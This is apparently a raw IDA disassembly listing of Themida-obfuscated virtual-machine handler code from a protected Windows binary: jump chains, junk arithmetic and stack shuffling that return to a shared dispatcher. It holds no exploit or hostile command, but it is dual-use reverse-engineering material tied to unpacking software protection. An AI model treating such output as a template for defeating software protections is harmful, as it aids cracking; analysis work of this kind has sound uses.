; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], ax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_5881AB: ; CODE XREF: Themida_:0058462Fj
pop ecx
jmp loc_586946
; ---------------------------------------------------------------------------
loc_5881B1: ; CODE XREF: Themida_:00584628j
mov eax, [esp]
jmp loc_58D483
; ---------------------------------------------------------------------------
loc_5881B9: ; CODE XREF: Themida_:00586F8Aj
mov [esp], esp
jmp loc_58BFF7
; ---------------------------------------------------------------------------
loc_5881C1: ; CODE XREF: Themida_:005896EBj
push dword ptr [esp]
pop edi
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
xor ebx, eax
movzx ax, byte ptr [eax]
push 713Ch
mov [esp], esi
mov esi, esp
jmp loc_58C9BF
; ---------------------------------------------------------------------------
loc_5881F2: ; CODE XREF: Themida_:005880BCj
add dl, 61h
jmp loc_5849B1
; ---------------------------------------------------------------------------
loc_5881FA: ; CODE XREF: Themida_:00585566j
xor eax, 575925FCh
jmp loc_581DB7
; ---------------------------------------------------------------------------
loc_588204: ; CODE XREF: Themida_:005825DDj
add edi, 1C925B32h
add edi, esi
sub edi, 1C925B32h
pop esi
shl edi, 8
sub edi, 355E2773h
sub ebx, 4F203988h
add ebx, edi
add ebx, 4F203988h
jmp loc_58324B
; ---------------------------------------------------------------------------
loc_58822F: ; CODE XREF: Themida_:0058956Ej
dec edx
shl edx, 8
not edx
sub edx, 0B7C807Fh
and ecx, edx
mov edx, [esp]
add esp, 4
shr ecx, 7
push dword ptr [edi+1Ch]
push edi
jmp loc_584A3C
; ---------------------------------------------------------------------------
loc_58824F: ; CODE XREF: Themida_:005831D4j
not ebx
or ebx, 32825F97h
dec ebx
shr ebx, 3
jmp loc_58C7BC
; ---------------------------------------------------------------------------
loc_588260: ; CODE XREF: Themida_:00584CBEj
add ebp, 0D04826F9h
add [esp+4], ebp
pop ebp
jmp loc_5837FE
; ---------------------------------------------------------------------------
loc_588270: ; CODE XREF: Themida_:0058D86Ej
mov [esp], esi
jmp loc_589551
; ---------------------------------------------------------------------------
loc_588278: ; CODE XREF: Themida_:0058B97Ej
push 7BD475F9h
pop ebx
jmp loc_5888C0
; ---------------------------------------------------------------------------
loc_588283: ; CODE XREF: Themida_:0058224Cj
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
jmp loc_58731A
; ---------------------------------------------------------------------------
loc_588297: ; CODE XREF: Themida_:0058BE3Aj
push dword ptr [esp]
pop ebx
push edi
mov edi, esp
push 4CEFh
jmp loc_58D04E
; ---------------------------------------------------------------------------
loc_5882A8: ; CODE XREF: Themida_:00582AA5j
mov ecx, edi
pop edi
add ecx, 6CAA722Bh
xor ecx, 57D25B72h
jmp loc_585214
; ---------------------------------------------------------------------------
loc_5882BC: ; CODE XREF: Themida_:0058CFFAj
mov ebp, [esp]
jmp loc_582249
; ---------------------------------------------------------------------------
dd 240C8B66h, 42A16853h, 4EE90000h
db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5882D3: ; CODE XREF: Themida_:00583C73j
sub [esp], dh
jmp loc_58343F
; ---------------------------------------------------------------------------
loc_5882DB: ; CODE XREF: Themida_:0058B81Fj
mov bl, ch
not bl
jmp loc_5873A6
; ---------------------------------------------------------------------------
loc_5882E4: ; CODE XREF: Themida_:0058AF11j
mov [esp], esi
push 31E4h
mov [esp], edi
push ebx
mov ebx, 727A6DF5h
and ebx, 36A01607h
xor ebx, 7467271Bh
add ebx, 1E9112BEh
mov edi, ebx
pop ebx
jmp loc_58C6DD
; ---------------------------------------------------------------------------
loc_58830F: ; CODE XREF: Themida_:00589BA8j
mov ecx, 49016808h
sub esp, 4
jmp loc_58369F
; ---------------------------------------------------------------------------
loc_58831C: ; CODE XREF: Themida_:0058BC68j
mov [esp], eax
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_588324: ; CODE XREF: Themida_:00589E11j
add eax, 4
sub eax, 4
jmp loc_5873EB
; ---------------------------------------------------------------------------
loc_588331: ; CODE XREF: Themida_:0058722Fj
xor dl, bl
pop ebx
add bl, dl
pop edx
jmp loc_58AA13
; ---------------------------------------------------------------------------
loc_58833C: ; CODE XREF: Themida_:0058C09Bj
xchg ebx, [esp]
pop esp
jmp loc_58B1EC
; ---------------------------------------------------------------------------
loc_588345: ; CODE XREF: Themida_:0058C47Fj
mov cl, 0BBh
sub cl, 0A0h
add cl, 0EDh
jmp loc_584EAD
; ---------------------------------------------------------------------------
loc_588352: ; CODE XREF: Themida_:005858C3j
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_58C769
; ---------------------------------------------------------------------------
loc_58835E: ; CODE XREF: Themida_:0058369Aj
push ecx
push ebx
push ecx
mov cl, 35h
mov bl, cl
jmp loc_58894C
; ---------------------------------------------------------------------------
loc_58836A: ; CODE XREF: Themida_:00585E82j
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_586398
; ---------------------------------------------------------------------------
loc_58837B: ; CODE XREF: Themida_:005831FAj
pop ebx
mov ebp, [esp]
add esp, 4
add ecx, 2
xchg ecx, [esp]
mov esp, [esp]
ror byte ptr [esp], cl
pushf
jmp loc_585DCF
; ---------------------------------------------------------------------------
loc_588394: ; CODE XREF: Themida_:005855C7j
push 61D1h
mov [esp], ebx
mov ebx, 24h
add ebx, edi
push eax
push 0
pop eax
add eax, ebx
add dword ptr [eax], 1
jmp loc_587B59
; ---------------------------------------------------------------------------
loc_5883B7: ; CODE XREF: Themida_:005821D7j
pop esi
push edi
mov edi, 0B27218Ah
or edi, 7A612FA6h
jmp loc_58C85E
; ---------------------------------------------------------------------------
loc_5883C9: ; CODE XREF: Themida_:00581D89j
and cx, 48A4h
shr cx, 4
not cx
jmp loc_58ADDE
; ---------------------------------------------------------------------------
loc_5883DA: ; CODE XREF: Themida_:0058A4F4j
not dl
add dl, 88h
jmp loc_586267
; ---------------------------------------------------------------------------
loc_5883E4: ; CODE XREF: Themida_:00586094j
mov eax, [esp]
add esp, 4
xor edx, 0B925B72h
push esi
jmp loc_581984
; ---------------------------------------------------------------------------
loc_5883F6: ; CODE XREF: Themida_:00583897j
or ebx, 5E0C4AB3h
sub ebx, 0DAFAC56Eh
jmp loc_58DABE
; ---------------------------------------------------------------------------
loc_588407: ; CODE XREF: Themida_:00588FFFj
pop esi
sub edi, 7DFADFFBh
jmp loc_586834
; ---------------------------------------------------------------------------
loc_588413: ; CODE XREF: Themida_:005821A2j
push ecx
jmp loc_587F2A
; ---------------------------------------------------------------------------
push edx
mov edx, esp
add edx, 4
sub esp, 4
mov [esp], ebx
push 3619h
mov [esp], ecx
jmp loc_587ADD
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
push ebx
mov ebx, esp
sub esp, 4
mov [esp], ecx
mov ecx, 31157918h
jmp loc_5835A5
; ---------------------------------------------------------------------------
loc_58844C: ; CODE XREF: Themida_:00587944j
add esi, eax
jmp loc_58BCC9
; ---------------------------------------------------------------------------
loc_588453: ; CODE XREF: Themida_:00582087j
xor ecx, [esp]
pop esp
push 5723h
jmp loc_58C729
; ---------------------------------------------------------------------------
loc_588461: ; CODE XREF: Themida_:00586947j
mov ebp, 1D923297h
xor edx, ebp
pop ebp
and edx, 35F036CEh
jmp loc_586E65
; ---------------------------------------------------------------------------
mov ax, [esp]
push 2423h
mov [esp], ebx
mov ebx, esp
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_5873B3
; ---------------------------------------------------------------------------
loc_588493: ; CODE XREF: Themida_:0058B08Ej
push esp
pop ebx
add ebx, 4
add ebx, 2
jmp loc_5848A9
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_58DEC4
; ---------------------------------------------------------------------------
loc_5884AE: ; CODE XREF: Themida_:00584620j
push esi
mov esi, 7A197373h
and edx, esi
jmp loc_58DEA5
; ---------------------------------------------------------------------------
loc_5884BB: ; CODE XREF: Themida_:0058D42Dj
push 231Dh
mov [esp], ecx
push ebx
push esi
mov esi, 5C271E84h
xor esi, 0BF143D0h
shr esi, 6
and esi, 36F42CBAh
jmp loc_5829B8
; ---------------------------------------------------------------------------
loc_5884DE: ; CODE XREF: Themida_:00588FC3j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_5884E3: ; CODE XREF: Themida_:00586B47j
pop edx
sub eax, 793B3CC7h
push dword ptr [esp]
pop esi
push ecx
jmp loc_582F31
; ---------------------------------------------------------------------------
loc_5884F3: ; CODE XREF: Themida_:0058B31Aj
mov edx, esp
push edi
mov edi, 4
jmp loc_58AD34
; ---------------------------------------------------------------------------
loc_588500: ; CODE XREF: Themida_:005873B6j
mov esp, [esp]
jmp loc_58CD35
; ---------------------------------------------------------------------------
loc_588508: ; CODE XREF: Themida_:00588C71j
and edi, 39FE53BFh
sub edi, 19DA538Ch
add ecx, edi
pop edi
jmp loc_586212
; ---------------------------------------------------------------------------
loc_58851C: ; CODE XREF: Themida_:0058DCEAj
xor eax, ebx
jmp loc_58777B
; ---------------------------------------------------------------------------
loc_588523: ; CODE XREF: Themida_:0058BBCDj
pop eax
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mul cx
push 6A28h
mov [esp], edi
jmp loc_586FAD
; ---------------------------------------------------------------------------
loc_588540: ; CODE XREF: Themida_:0058DB5Ej
add dword ptr [esp], 4
pop ebp
push 2D80h
mov [esp], ecx
mov ecx, 4
jmp loc_58B7F2
; ---------------------------------------------------------------------------
loc_588557: ; CODE XREF: Themida_:00583F7Ej
shl edi, 6
shl edi, 1
push edx
mov edx, 0BBA43A04h
xor edi, edx
pop edx
mov ebx, edi
pop edi
add ebp, ebx
pop ebx
push esi
mov esi, 4
jmp loc_58423E
; ---------------------------------------------------------------------------
loc_588576: ; CODE XREF: Themida_:00588F1Cj
add ebp, edx
push ebx
mov ebx, 3D4805A1h
add ebp, ebx
jmp loc_58CE4B
; ---------------------------------------------------------------------------
loc_588585: ; CODE XREF: Themida_:0058DE77j
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
jmp loc_58DA82
; ---------------------------------------------------------------------------
loc_58859B: ; CODE XREF: Themida_:00581C74j
push 1
mov edx, [esp]
push 5A77h
mov [esp], ecx
push esp
jmp loc_5852C6
; ---------------------------------------------------------------------------
loc_5885B1: ; CODE XREF: Themida_:005879A3j
inc eax
sub esp, 4
mov [esp], edi
mov edi, 0C63C9068h
add eax, 45B73C9h
jmp loc_584D3C
; ---------------------------------------------------------------------------
loc_5885CA: ; CODE XREF: Themida_:005860F0j
add esp, 4
jmp loc_583280
; ---------------------------------------------------------------------------
pop dword ptr fs:[edx]
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_5885DA: ; CODE XREF: Themida_:0058C43Bj
push 599h
mov [esp], edx
mov edx, 4
sub ebx, 5BB422CAh
add ebx, 2B1B5495h
add ebx, edx
sub ebx, 2B1B5495h
jmp loc_58D9C6
; ---------------------------------------------------------------------------
loc_588600: ; CODE XREF: Themida_:005836FFj
add edx, eax
jmp loc_58D426
; ---------------------------------------------------------------------------
loc_588607: ; CODE XREF: Themida_:0058AB50j
sub esp, 4
jmp loc_587827
; ---------------------------------------------------------------------------
loc_588612: ; CODE XREF: Themida_:005880F4j
push ebx
push 7E41h
mov [esp], edi
mov edi, 385A462Dh
mov ebx, 385A4629h
xor ebx, edi
pop edi
jmp loc_587DCA
; ---------------------------------------------------------------------------
loc_58862D: ; CODE XREF: Themida_:005829DBj
xchg ebx, [esp]
pop esp
add edx, ecx
pop ecx
jmp loc_589AA4
; ---------------------------------------------------------------------------
loc_588639: ; CODE XREF: Themida_:0058B188j
push 6AF3h
mov [esp], edx
push 4
pop edx
add dword ptr [esp+4], 493865E3h
jmp loc_585E6D
; ---------------------------------------------------------------------------
loc_588654: ; CODE XREF: Themida_:00587ED9j
pop bx
jmp loc_586207
; ---------------------------------------------------------------------------
loc_58865B: ; CODE XREF: Themida_:00585ECDj
mov [esp], eax
push esp
pop eax
push edi
push 7137758Bh
pop edi
shr edi, 2
sub edi, 1C4DDD5Eh
add eax, edi
pop edi
push ebp
push eax
jmp loc_585948
; ---------------------------------------------------------------------------
loc_58867A: ; CODE XREF: Themida_:005889DCj
mov edi, 11784086h
jmp loc_5888E8
; ---------------------------------------------------------------------------
loc_588684: ; CODE XREF: Themida_:0058DB7Dj
pop edi
xchg edi, edx
not edi
xchg edi, edx
shr edx, 5
add edx, 0F8440163h
jmp loc_5819F8
; ---------------------------------------------------------------------------
loc_588699: ; CODE XREF: Themida_:0058BFFBj
mov esi, [esp]
jmp loc_58674B
; ---------------------------------------------------------------------------
loc_5886A1: ; CODE XREF: Themida_:0058C6CBj
push esp
pop ebx
push edi
mov edi, 466208B8h
neg edi
jmp loc_583585
; ---------------------------------------------------------------------------
loc_5886B0: ; CODE XREF: Themida_:005823DAj
sub edx, eax
pop eax
add esi, edx
pop edx
xor eax, esi
mov esi, [esp]
push eax
jmp loc_5837E4
; ---------------------------------------------------------------------------
loc_5886C1: ; CODE XREF: Themida_:0058B3C6j
xchg ecx, [esp]
pop esp
jmp loc_581FDB
; ---------------------------------------------------------------------------
loc_5886CA: ; CODE XREF: Themida_:00585189j
pop esp
mov [esp], esi
push ebx
jmp loc_5834F5
; ---------------------------------------------------------------------------
loc_5886D4: ; CODE XREF: Themida_:00583CA6j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
sub edi, 4
xchg edi, [esp]
jmp loc_586DA7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F0C13
loc_5886EE: ; CODE XREF: sub_5F0C13-68223j
mov [esp+36h+var_36], ecx
push edx
mov dl, 0A7h
jmp loc_586F32
; END OF FUNCTION CHUNK FOR sub_5F0C13
; ---------------------------------------------------------------------------
loc_5886F9: ; CODE XREF: Themida_:0058979Cj
push 204Eh
mov [esp], esp
add dword ptr [esp], 4
mov eax, [esp]
add esp, 4
push ebp
mov ebp, 6F8E0B3Ah
xor ebp, 7982448Fh
xor ebp, 5EB123A7h
jmp loc_589BB4
; ---------------------------------------------------------------------------
loc_588728: ; CODE XREF: Themida_:00583A17j
add ebx, 4
jmp loc_58DE7C
; ---------------------------------------------------------------------------
loc_588733: ; CODE XREF: Themida_:0058D2DFj
pop ecx
jmp loc_58B483
; ---------------------------------------------------------------------------
loc_588739: ; CODE XREF: Themida_:00581AA3j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
bt [esp], ax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58874E: ; CODE XREF: Themida_:0058C0B5j
mov esp, [esp]
pop dword ptr [esp]
mov esp, [esp]
btc [esp], ax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_588762: ; CODE XREF: Themida_:00586BB1j
pop eax
inc eax
and eax, 125C4198h
jmp loc_584A57
; ---------------------------------------------------------------------------
loc_58876E: ; CODE XREF: Themida_:00584FC9j
mov bl, 0C2h
add al, 4Eh
jmp loc_585D6F
; ---------------------------------------------------------------------------
loc_588777: ; CODE XREF: Themida_:005875A4j
sub eax, 0E28CB640h
or ebx, eax
pop eax
jmp loc_586B5B
; ---------------------------------------------------------------------------
loc_588784: ; CODE XREF: Themida_:00587921j
push ecx
mov ecx, 75AF3FB4h
jmp loc_5868BF
; ---------------------------------------------------------------------------
loc_58878F: ; CODE XREF: Themida_:00584C3Aj
push esi
mov esi, edi
mov ebp, esi
pop esi
jmp loc_58CA6F
; ---------------------------------------------------------------------------
loc_58879A: ; CODE XREF: Themida_:0058CAB7j
pop esp
mov cx, [esp]
push edx
push esp
pop edx
push esi
mov esi, 0A201CB8h
dec esi
shl esi, 2
and esi, 63C01779h
shl esi, 6
sub esi, 200495FCh
sub edx, 1EB83667h
jmp loc_58C59B
; ---------------------------------------------------------------------------
loc_5887C6: ; CODE XREF: Themida_:00584672j
xor ebx, eax
sub esp, 4
mov [esp], ecx
mov ch, 0AFh
shr ch, 2
xor ch, 54h
and al, ch
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push eax
push esp
mov eax, [esp]
jmp loc_58AF82
; ---------------------------------------------------------------------------
loc_5887EE: ; CODE XREF: Themida_:005838EEj
add al, bl
jmp loc_58B7B1
; ---------------------------------------------------------------------------
loc_5887F5: ; CODE XREF: Themida_:00584786j
mov edx, 0FFFFFFFFh
sub ebx, edx
pop edx
inc ebx
inc ebx
jmp loc_5878E6
; ---------------------------------------------------------------------------
loc_588804: ; CODE XREF: Themida_:00584772j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_58D8E9
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop edx
jmp loc_582C1F
; ---------------------------------------------------------------------------
loc_588827: ; CODE XREF: Themida_:00586B17j
add ebx, 4
push ecx
push 4
pop ecx
add ebx, ecx
mov ecx, [esp]
add esp, 4
xchg ebx, [esp]
jmp loc_5824D6
; ---------------------------------------------------------------------------
loc_588844: ; CODE XREF: Themida_:0058C90Cj
mov edx, 4
add esi, edx
pop edx
add esi, 4
xchg esi, [esp]
pop esp
push esi
mov esi, esp
jmp loc_58CF5F
; ---------------------------------------------------------------------------
loc_58885B: ; CODE XREF: Themida_:00584C51j
inc edx
jmp loc_5899F6
; ---------------------------------------------------------------------------
loc_588861: ; CODE XREF: Themida_:0058BB94j
add ebp, 344A506Dh
pop edi
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
and [esp], ax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
push esp
push dword ptr [esp]
pop ecx
add esp, 4
sub esp, 4
mov [esp], ebx
mov ebx, 4
jmp loc_58B18D
; ---------------------------------------------------------------------------
loc_58889B: ; CODE XREF: Themida_:005864FBj
pop ecx
jmp loc_5823DF
; ---------------------------------------------------------------------------
loc_5888A1: ; CODE XREF: Themida_:00584414j
add edi, esi
pop esi
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_581CFE
; ---------------------------------------------------------------------------
loc_5888B3: ; CODE XREF: Themida_:0058DE31j
push esp
jmp loc_586221
; ---------------------------------------------------------------------------
loc_5888B9: ; CODE XREF: Themida_:00587CDEj
add edx, ebp
jmp loc_589094
; ---------------------------------------------------------------------------
loc_5888C0: ; CODE XREF: Themida_:0058827Ej
sub esp, 4
mov [esp], edi
mov edi, 6AC50346h
xor ebx, edi
pop edi
mov ecx, ebx
pop ebx
jmp loc_586489
; ---------------------------------------------------------------------------
loc_5888D9: ; CODE XREF: Themida_:00587254j
push ebx
mov bh, 94h
push edx
jmp loc_582907
; ---------------------------------------------------------------------------
loc_5888E2: ; CODE XREF: Themida_:005844E7j
push esi
jmp loc_5898A6
; ---------------------------------------------------------------------------
loc_5888E8: ; CODE XREF: Themida_:0058867Fj
xor ebp, edi
pop edi
xor ebp, 40829211h
sub ebx, 5B855386h
add ebx, ebp
add ebx, 5B855386h
pop ebp
and eax, ebx
pop ebx
shr eax, 12h
xor eax, ecx
push eax
sub esp, 4
mov [esp], ebx
mov eax, [esp]
add esp, 4
push dword ptr [esp]
pop ebx
add esp, 4
push 1FD0h
mov [esp], ebx
xchg ebx, [esp]
jmp loc_581EF9
; ---------------------------------------------------------------------------
loc_588932: ; CODE XREF: Themida_:0058C492j
push edi
mov edi, 0
sub edi, ebp
jmp loc_582528
; ---------------------------------------------------------------------------
loc_58893F: ; CODE XREF: Themida_:0058637Fj
push ebx
mov ebx, 7A321ACAh
xchg esi, ebx
jmp loc_5876A0
; ---------------------------------------------------------------------------
loc_58894C: ; CODE XREF: Themida_:00588365j
pop ecx
neg bl
jmp loc_588054
; ---------------------------------------------------------------------------
loc_588954: ; CODE XREF: Themida_:0058A4C2j
or ecx, 43186D3Bh
xor ecx, 4C606E2Ah
sub ecx, 0F6668575h
sub ebx, ecx
pop ecx
push esi
jmp loc_585EEC
; ---------------------------------------------------------------------------
loc_58896F: ; CODE XREF: Themida_:00586BC2j
push small word ptr [eax]
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_588977: ; CODE XREF: Themida_:00586820j
xor bl, dh
pop edx
mov ah, bl
pop ebx
add bl, 0B2h
sub bl, ah
jmp loc_584EC4
; ---------------------------------------------------------------------------
loc_588987: ; CODE XREF: Themida_:005879D6j
xchg edi, [esp]
mov esp, [esp]
idiv ecx
push 4ACCh
mov [esp], edx
jmp loc_582B38
; ---------------------------------------------------------------------------
loc_58899C: ; CODE XREF: Themida_:0058327Bj
push 40CCh
mov [esp], ebx
mov ebx, 4
add [esp+4], ebx
jmp loc_58208C
; ---------------------------------------------------------------------------
loc_5889B2: ; CODE XREF: Themida_:0058807Bj
mov eax, ecx
pop ecx
sub eax, 732F4845h
and eax, 385C51ACh
jmp loc_581BD9
; ---------------------------------------------------------------------------
loc_5889C4: ; CODE XREF: Themida_:00588C62j
push 0
sub [esp], ebx
pop ebx
push ebp
mov ebp, 4D2F77E4h
sub esp, 4
mov [esp], edi
jmp loc_58867A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F0C13
loc_5889E1: ; CODE XREF: sub_5F0C13-653D7j
add ebp, 2
xchg ebp, [esp+0]
pop esp
push 3DCDh
jmp loc_5886EE
; END OF FUNCTION CHUNK FOR sub_5F0C13
; ---------------------------------------------------------------------------
loc_5889F5: ; CODE XREF: Themida_:00587496j
mov bh, dl
pop edx
sub al, bh
pop bx
xor bl, al
push eax
mov eax, 22616A88h
jmp loc_589BD2
; ---------------------------------------------------------------------------
loc_588A09: ; CODE XREF: Themida_:0058374Dj
or ebp, 69C020B5h
not ebp
xor ebp, 89C262B3h
jmp loc_5836F6
; ---------------------------------------------------------------------------
loc_588A1C: ; CODE XREF: Themida_:0058C9DBj
pop ebx
jmp loc_5859F9
; ---------------------------------------------------------------------------
loc_588A22: ; CODE XREF: Themida_:005832A4j
mov edi, 4
jmp loc_583DEE
; ---------------------------------------------------------------------------
loc_588A2C: ; CODE XREF: Themida_:0058A71Dj
pop ebp
jmp loc_588D5B
; ---------------------------------------------------------------------------
loc_588A32: ; CODE XREF: Themida_:005893F8j
mov edi, 6B1512A3h
add ebp, edi
mov edi, [esp]
add esp, 4
shr ebp, 2
shl ebp, 1
push ecx
mov ecx, 0
jmp loc_5843BA
; ---------------------------------------------------------------------------
loc_588A52: ; CODE XREF: Themida_:0058932Fj
sub eax, 7C361E58h
jmp loc_58BD60
; ---------------------------------------------------------------------------
loc_588A5C: ; CODE XREF: Themida_:00586D8Ej
xchg edi, [esp]
pop esp
push esi
jmp loc_583462
; ---------------------------------------------------------------------------
loc_588A66: ; CODE XREF: Themida_:005822B5j
sub ebp, edx
jmp loc_588CD8
; ---------------------------------------------------------------------------
loc_588A6D: ; CODE XREF: Themida_:005855F4j
pop edi
xchg edx, [esp]
jmp loc_587EDE
; ---------------------------------------------------------------------------
loc_588A76: ; CODE XREF: Themida_:00582F4Dj
mov eax, 6E4077Bh
mov edx, eax
mov eax, [esp]
push 6A6Bh
mov [esp], eax
jmp loc_5858A7
; ---------------------------------------------------------------------------
loc_588A8D: ; CODE XREF: Themida_:00583651j
add esp, 4
sub edx, 4
push edx
push dword ptr [esp+4]
pop edx
jmp loc_5896F6
; ---------------------------------------------------------------------------
loc_588A9E: ; CODE XREF: Themida_:00585832j
push edi
mov edi, esp
add edi, 4
jmp loc_58B7A9
; ---------------------------------------------------------------------------
loc_588AAC: ; CODE XREF: Themida_:00582E28j
sub esp, 4
mov [esp], ecx
mov ecx, 5EAD208Eh
or edx, ecx
pop ecx
add edx, 55CE433Ch
sub edx, 0D58BC03Bh
push edx
add dword ptr [esp], 6CAD0CB2h
mov eax, [esp]
add esp, 4
sub eax, 6CAD0CB2h
pop edx
jmp loc_587BA8
; ---------------------------------------------------------------------------
loc_588AE5: ; CODE XREF: Themida_:00584CA3j
mov edi, 1C395A1Eh
jmp loc_581C6B
; ---------------------------------------------------------------------------
loc_588AEF: ; CODE XREF: Themida_:005896E3j
pop esp
jmp loc_58A1B5
; ---------------------------------------------------------------------------
loc_588AF5: ; CODE XREF: Themida_:0058A5F5j
sub esp, 4
jmp loc_589E7A
; ---------------------------------------------------------------------------
loc_588B00: ; CODE XREF: Themida_:005863BEj
pop edi
xchg esi, [esp]
pop esp
dec word ptr [esp]
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_588B0F: ; CODE XREF: Themida_:00585D0Cj
push esi
jmp loc_584E00
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl word ptr [esp], cl
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_588B25: ; CODE XREF: Themida_:005859BFj
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_588B35: ; CODE XREF: Themida_:0058BC36j
add esp, 4
push 72DAh
mov [esp], ebp
sub esp, 4
mov [esp], eax
mov eax, 583A5ED9h
dec eax
push ebx
mov ebx, 17812CAEh
sub eax, ebx
mov ebx, [esp]
add esp, 4
jmp loc_58389C
; ---------------------------------------------------------------------------
loc_588B65: ; CODE XREF: Themida_:00582C35j
add ecx, 1D051A09h
add ecx, 49176985h
jmp loc_5827BD
; ---------------------------------------------------------------------------
loc_588B76: ; CODE XREF: Themida_:00586161j
sub eax, 29076176h
sub eax, ebx
push ecx
mov ecx, 29076176h
jmp loc_5856A5
; ---------------------------------------------------------------------------
loc_588B88: ; CODE XREF: Themida_:00581BFFj
push ebx
push edi
mov edi, 2D735B2Dh
mov ebx, 0D28CA4D5h
add ebx, 67432E88h
add ebx, edi
jmp loc_582073
; ---------------------------------------------------------------------------
loc_588BA1: ; CODE XREF: Themida_:00584051j
neg esi
shl esi, 5
push 2893h
mov [esp], esi
inc dword ptr [esp]
jmp loc_582A0B
; ---------------------------------------------------------------------------
loc_588BB6: ; CODE XREF: Themida_:0058250Bj
add ecx, 4
push ebp
mov ebp, 0FDB0A62h
dec ebp
dec ebp
add ebp, 0F024F5A4h
jmp loc_584E92
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
mov esi, esp
jmp loc_58B664
; ---------------------------------------------------------------------------
loc_588BDB: ; CODE XREF: Themida_:00587BFDj
push 4EDh
mov [esp], esi
sub esp, 4
jmp loc_58A015
; ---------------------------------------------------------------------------
loc_588BEE: ; CODE XREF: Themida_:00589EBEj
neg ecx
jmp loc_58D6D3
; ---------------------------------------------------------------------------
loc_588BF5: ; CODE XREF: Themida_:0058CAA8j
add esp, 4
and eax, ebp
pop ebp
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
push 6B0Dh
mov [esp], eax
push ecx
jmp loc_58D8B6
; ---------------------------------------------------------------------------
loc_588C10: ; CODE XREF: Themida_:00583631j
push small 23F2h
mov [esp], cx
mov cx, 341Fh
sub ax, 4E5Eh
sub ax, cx
add ax, 4E5Eh
pop cx
add ax, 7D0Bh
add ax, bx
jmp loc_581D80
; ---------------------------------------------------------------------------
loc_588C35: ; CODE XREF: Themida_:0058CE11j
push dword ptr [esp]
pop ecx
push ebx
jmp loc_5862C4
; ---------------------------------------------------------------------------
loc_588C3F: ; CODE XREF: Themida_:005877C3j
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
jmp loc_58DBA0
; ---------------------------------------------------------------------------
loc_588C50: ; CODE XREF: Themida_:00589ADDj
sub esp, 4
jmp loc_58CC97
; ---------------------------------------------------------------------------
loc_588C5B: ; CODE XREF: Themida_:005880E4j
mov ebx, 39A34AE6h
shr ebx, 1
jmp loc_5889C4
; ---------------------------------------------------------------------------
loc_588C67: ; CODE XREF: Themida_:00582EF1j
pop esi
sub edi, 1DAF0139h
shl edi, 4
jmp loc_588508
; ---------------------------------------------------------------------------
loc_588C76: ; CODE XREF: Themida_:00584DEFj
mov esi, 13DF27C8h
and esi, 6D3111EEh
sub esi, 0FDE299D1h
push ecx
mov ecx, esi
mov [edi+20h], ecx
pop ecx
pop esi
shr dword ptr [edi+20h], 2
jmp loc_58203B
; ---------------------------------------------------------------------------
loc_588C98: ; CODE XREF: Themida_:00587D35j
add edx, eax
pop eax
add edx, 2
push 78E8h
mov [esp], edx
push dword ptr [esp+4]
push dword ptr [esp]
pop edx
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
movsx cx, al
sub esp, 4
mov [esp], ecx
mov ecx, esp
push esi
jmp loc_58AA1D
; ---------------------------------------------------------------------------
loc_588CCF: ; CODE XREF: Themida_:00589381j
sub [esp], al
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_588CD8: ; CODE XREF: Themida_:00588A68j
pop edx
add edx, ebp
pop ebp
sub edx, 4
push edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
jmp loc_585EE0
; ---------------------------------------------------------------------------
loc_588CEF: ; CODE XREF: Themida_:00585999j
add esp, 4
add edi, 2
jmp loc_5894CE
; ---------------------------------------------------------------------------
loc_588CFA: ; CODE XREF: Themida_:005844CEj
push ax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_588D02: ; CODE XREF: Themida_:00584F46j
xchg ebx, [esp]
pop esp
xor ecx, [esp]
jmp loc_58308F
; ---------------------------------------------------------------------------
loc_588D0E: ; CODE XREF: Themida_:0058D049j
sub ebx, esi
add ebx, 9D7181Bh
mov esi, [esp]
add esp, 4
jmp loc_589FE2
; ---------------------------------------------------------------------------
loc_588D24: ; CODE XREF: Themida_:00585E29j
pop esi
sub ebp, edx
mov edx, [esp]
jmp loc_585722
; ---------------------------------------------------------------------------
loc_588D2F: ; CODE XREF: Themida_:0058D939j
mov [esp], ebx
jmp loc_58D1C5
